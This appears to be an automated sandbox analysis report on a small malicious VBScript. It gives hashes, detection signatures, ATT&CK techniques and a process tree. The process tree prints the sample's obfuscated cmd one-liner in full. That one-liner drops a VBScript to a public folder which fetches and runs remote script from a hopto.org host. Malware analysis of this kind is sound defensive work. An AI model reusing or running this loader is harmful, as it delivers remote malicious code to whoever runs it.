5978bef037f00b9d0214659f14f0791de2be68398745543d8adc0d2b4fcb3e1e

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/09/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
43_FlCHƐR0_.80G11wEkJxXnK805.vbs
Size 4KB
Sample260909-plgwtsem8w
SHA256 5978bef037f00b9d0214659f14f0791de2be68398745543d8adc0d2b4fcb3e1e
MD5 eae385d0f90cc34ff3027be74bd5c0ad
SHA1 c639808e0ca4f5c45ac480e2a5999b48575efbdf
SHA512 a28343ad9bd96e7a431ecece4bf8a772e0ad3fb840cdde0aa03ae136fe91da6919180c8bc61f74be7ed931ae660fc8b5c1588cdcbd8e49ddb888f86d6b5e3abe
SSDEEP 96:hnCTLDS9Pmhmz2DO3qruSLtu7UOuLGBfqALJot:hnYyucNaEqGByV
TLSH
T16B91518FE0EEB26DC78F29741F33B9E25152CFF9E580799360C505C5B088B65A1D229E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4844	WScript.exe
1396	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3300	cmD.exe
3768	cmd.exe
4908	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 3300	4844	WScript.exe	86
PID 3300 wrote to memory of 3812	3300	cmD.exe	88
PID 3300 wrote to memory of 3768	3300	cmD.exe	89
PID 3768 wrote to memory of 4908	3768	cmd.exe	90
PID 4908 wrote to memory of 1396	4908	cmd.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\43_FlCHƐR0_.80G11wEkJxXnK805.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\System32\cmD.exe
  cmD ^/V/D/c EcHo functIon QB44P(WnPnHhi430) QB44P= rEplace(WnPnHhi430,"tX5","y" ): End functIon: VBErpR2lEyUG217="Sc": j9787rNGN676="Tp": G17Ukr9ELph2O100="1": LlUW3g5oVk8d87 = QB44P(VBErpR2lEyUG217 +"ri*pt*:H*t"+ j9787rNGN676 +"s://boggatX5m1.hopto.org/g*" + G17Ukr9ELph2O100): GEtObjEct(pGneS(LlUW3g5oVk8d87)) :functIon pGneS(Tss5QHf474) pGneS= rEplACE(Tss5QHf474,"*","" ): End functIon > nul > C:\Users\Public\^G17Ukr9ELph2O100.vbs |^stArt cmd /c stArt C:\Users\Public\^G17Ukr9ELph2O100.vbs
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" EcHo functIon QB44P(WnPnHhi430) QB44P= rEplace(WnPnHhi430,"tX5","y" ): End functIon: VBErpR2lEyUG217="Sc": j9787rNGN676="Tp": G17Ukr9ELph2O100="1": LlUW3g5oVk8d87 = QB44P(VBErpR2lEyUG217 +"ri*pt*:H*t"+ j9787rNGN676 +"s://boggatX5m1.hopto.org/g*" + G17Ukr9ELph2O100): GEtObjEct(pGneS(LlUW3g5oVk8d87)) :functIon pGneS(Tss5QHf474) pGneS= rEplACE(Tss5QHf474,"*","" ): End functIon 1>C:\Users\Public\G17Ukr9ELph2O100.vbs"
    3⤵
    PID:3812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" stArt cmd /c stArt C:\Users\Public\G17Ukr9ELph2O100.vbs"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\cmd.exe
      cmd /c stArt C:\Users\Public\G17Ukr9ELph2O100.vbs
      4⤵
      Checks computer location settings
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4908
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\G17Ukr9ELph2O100.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

G17Ukr9ELph2O100.vbs

Path C:\Users\Public\G17Ukr9ELph2O100.vbs
Size 377B
SHA256 819709ffa6ce930e13822ce51a1f491e6f4d3f1671bf94021256356c9b8b4601
MD5 db214a74ae23a3ec0fd896d91478a5d9
SHA1 e7531f48d495f571d1cd8217a727879866d1fac3
SHA512 fd1141e2c6effb20e9ce801ea56c37a46cd3d954879b53788a48afe203e5969b3091456fc967b1af8b43cba089fa15cecda6b37609634b6723bd76cf892bfa60
TLSH
T1B0E0CA8FF6C7F074B5CF0554C5134DF5976D8DB3D9C124CC45416056D450CDD525A1E4
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads